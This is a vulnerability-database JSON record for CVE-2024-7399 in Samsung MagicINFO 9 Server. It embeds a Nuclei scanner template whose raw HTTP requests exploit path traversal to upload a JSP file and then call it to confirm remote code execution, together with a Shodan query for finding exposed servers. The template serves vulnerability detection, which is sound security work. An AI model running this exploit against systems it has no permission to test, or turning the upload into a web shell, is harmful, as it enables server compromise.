{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-7399/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-7399/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-7399/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-7399/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-7399/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-7399"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-7399"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2024/CVE-2024-7399.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2024-7399\n\ninfo:\n  name: Samsung MagicINFO 9 Server 21.1050.0 - Remote Code Execution\n  author: iamnoooob,pdresearch\n  severity: high\n  description: |\n    Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server version before 21.1050 allows attackers to write arbitrary file as system authority.\n  impact: |\n    Authenticated attackers can exploit path traversal to write arbitrary JSP files with system privileges, achieving remote code execution and complete server compromise.\n  remediation: |\n    Update Samsung MagicINFO 9 Server to version 21.1050 or later to address the path traversal and arbitrary file write vulnerability.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-7399\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2024-7399\n    cwe-id: CWE-22\n    epss-score: 0.91941\n    epss-percentile: 0.99815\n    cpe: cpe:2.3:a:samsung:magicinfo_9_server:*:*:*:*:*:*:*:*\n  metadata:\n    vendor: samsung\n    product: magicinfo_9_server\n    verified: true\n    max-request: 1\n    shodan-query: 'Server: MagicInfo Premium Server'\n  tags: cve,cve2024,rce,magicinfo,samsung,file-upload,intrusive,vkev,vuln,kev\n\nflow: http(1) && http(2)\n\nvariables:\n  filename: \"{{randbase(6)}}\"\n  input: \"{{randstr}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /MagicInfo/servlet/SWUpdateFileUploader?fileName=./../../../../../../server/{{filename}}.jsp&deviceType=abc&deviceModelName=test&swVer=123 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/plain\n\n        <%@ page import=\"java.util.Base64\" %>\n        <%\n        String base64Input = request.getParameter(\"input\");\n        if (base64Input != null) {\n            byte[] decodedBytes = Base64.getDecoder().decode(base64Input);\n            out.print(new String(decodedBytes));\n        }\n        %>\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n  - raw:\n      - |\n        GET /MagicInfo/{{filename}}.jsp?input={{urlencode(base64(input))}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '{{input}}'\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100cb82714802526cf8e1657f0a46f98ce728678f396b511173693cc6f7f8e8eb6f02204ae5f36b9e34b04bd84319dff552096284a455157f89bee217a22da93967cd8b:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2024-7399"
}